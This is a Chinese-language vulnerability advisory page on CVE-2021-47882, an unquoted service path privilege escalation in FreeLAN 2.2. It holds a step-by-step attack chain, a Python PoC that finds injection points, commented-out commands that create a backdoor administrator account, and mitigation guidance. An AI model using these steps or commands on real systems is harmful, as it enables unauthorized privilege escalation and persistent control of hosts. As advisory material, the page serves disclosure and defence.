IPBUF安全漏洞报告
English
CVE-2021-47882 CVSS 7.8 高危

CVE-2021-47882 FreeLAN 2.2 未引号服务路径权限提升漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2021-47882
漏洞类型
未引号服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FreeLAN 2.2

相关标签

未引号服务路径权限提升本地攻击FreeLANWindows服务路径劫持LocalSystemCVE-2021-47882

漏洞概述

CVE-2021-47882是FreeLAN 2.2版本中发现的一个高危本地权限提升漏洞。该漏洞源于FreeLAN的Windows服务配置中使用了未加引号的服务路径(Unquoted Service Path),使得攻击者可以通过路径劫持技术将恶意可执行文件注入到服务启动流程中。FreeLAN是一款开源的VPN软件,通常以Windows服务的方式在后台运行。由于服务配置不当,系统在启动服务时会按照路径空格分割的顺序依次查找可执行文件。攻击者只需在某个中间路径位置放置同名恶意程序,即可被服务以LocalSystem最高权限执行,从而实现完全的主机控制。此漏洞需要攻击者具备本地低权限访问能力,但无需用户交互即可完成攻击。CVSS 3.1评分达到7.8分,属于高危漏洞,对系统安全性构成严重威胁。

技术细节

未引号服务路径漏洞(Unquoted Service Path Vulnerability)是Windows环境中常见的权限提升技术。当服务可执行文件的路径包含空格且未使用引号包裹时,Windows服务控制管理器(Service Control Manager)在启动服务时会按照空格分割路径,并依次尝试查找和执行各个路径段中的可执行文件。以FreeLAN为例,如果服务路径配置为C:\Program Files\FreeLAN\bin\freelan.exe(假设路径),系统会依次尝试执行:C:\Program.exe、C:\Program Files\FreeLAN\bin\freelan.exe。如果攻击者在C:\Program.exe位置放置恶意程序,服务将以LocalSystem权限执行该程序。此外,攻击者还可以利用Windows服务路径解析的优先级,在可写目录中放置与中间路径同名的恶意可执行文件。这种攻击方式不需要管理员权限即可实施,攻击成功后可获得系统最高权限,实现持久化控制。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先需要识别目标系统上安装了FreeLAN 2.2服务,并确认服务路径配置是否存在未引号问题。可通过sc qc freelan命令查询服务配置信息。
STEP 2
步骤2
路径分析:分析服务路径中的空格分割点,识别可能被劫持的中间路径。例如C:\Program Files\FreeLAN\bin\freelan.exe会被解析为C:\Program.exe、C:\Program Files\FreeLAN\bin\freelan.exe等多个可能的执行路径。
STEP 3
步骤3
权限检查:确认当前用户对中间路径目录具有写权限。如果C:\根目录可写,攻击者可放置C:\Program.exe;如果Program Files目录可写,可放置相应的恶意程序。
STEP 4
步骤4
恶意程序部署:将精心构造的恶意可执行文件(如反向Shell程序)放置到识别出的中间路径位置,文件名需与路径段匹配。
STEP 5
步骤5
触发执行:等待服务重启或主动触发服务重启(需要管理员权限)。服务启动时将按路径顺序查找可执行文件,当执行到攻击者放置的恶意程序时,将以LocalSystem权限运行。
STEP 6
步骤6
权限维持:恶意程序成功执行后,攻击者获得系统最高权限,可创建管理员账户、安装后门、窃取敏感数据或进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47882 PoC - FreeLAN 2.2 Unquoted Service Path Exploitation This script demonstrates the unquoted service path vulnerability in FreeLAN 2.2 Author: Security Researcher Date: 2024 """ import os import sys import ctypes import subprocess import platform def check_privileges(): """Check if running with administrator privileges""" try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() return is_admin != 0 except: return False def find_unquoted_path(service_name): """ Query Windows registry to find unquoted service paths """ try: import winreg key_path = r"SYSTEM\CurrentControlSet\Services\" + service_name key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path) image_path, _ = winreg.QueryValueEx(key, "ImagePath") winreg.CloseKey(key) # Check if path contains spaces and is not quoted if ' ' in image_path and not image_path.startswith('"'): return image_path return None except: return None def generate_payload(): """ Generate reverse shell payload (placeholder - replace with actual payload) """ # This is a placeholder - in real exploitation, this would be a meterpreter # or other reverse shell executable named after the unquoted path segment payload_template = ''' #include <windows.h> #include <stdio.h> int main() {{ // Placeholder for malicious code // In real attack, this would execute privileged operations MessageBox(NULL, "FreeLAN Service Compromised", "CVE-2021-47882", MB_OK); // Example: Create admin user // system("net user attacker P@ssw0rd123 /add"); // system("net localgroup Administrators attacker /add"); return 0; }} ''' return payload_template def exploit(service_name, unquoted_path): """ Exploit unquoted service path vulnerability """ print(f"[*] Target Service: {service_name}") print(f"[*] Unquoted Path: {unquoted_path}") # Parse path segments path_parts = unquoted_path.strip('"').split('\\') print("[*] Analyzing path segments for exploitation...") for i, part in enumerate(path_parts): if ' ' in part and not part.endswith('.exe'): malicious_path = '\\'.join(path_parts[:i+1]) + '.exe' print(f"[!] Potential injection point: {malicious_path}") print(f"[*] To exploit: Place malicious executable at: {malicious_path}") print(f"[*] Then restart the service: sc stop {service_name} && sc start {service_name}") break def main(): print("=" * 60) print("CVE-2021-47882 - FreeLAN Unquoted Service Path Exploit") print("=" * 60) if platform.system() != 'Windows': print("[-] This exploit only works on Windows systems") sys.exit(1) if not check_privileges(): print("[-] This script requires administrator privileges") print("[-] Run as Administrator and try again") sys.exit(1) # Target service name service_name = "freelan" # Find unquoted path unquoted_path = find_unquoted_path(service_name) if unquoted_path: print(f"[+] Found unquoted service path: {unquoted_path}") exploit(service_name, unquoted_path) else: print("[-] Service not found or path is properly quoted") print("[*] Manual verification: sc qc freelan") if __name__ == "__main__": main()

影响范围

FreeLAN 2.2 及之前版本

防御指南

临时缓解措施
在正式补丁发布前,可通过以下措施临时缓解风险:1)使用icacls命令限制Program Files等目录的写权限,确保低权限用户无法写入可执行文件;2)修改FreeLAN服务配置,为ImagePath添加引号包裹;3)部署端点检测响应(EDR)解决方案监控可疑的服务启动行为;4)限制用户权限,遵循最小权限原则;5)使用Windows防火墙阻止可能的出站连接,防止攻击者建立C2通信。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表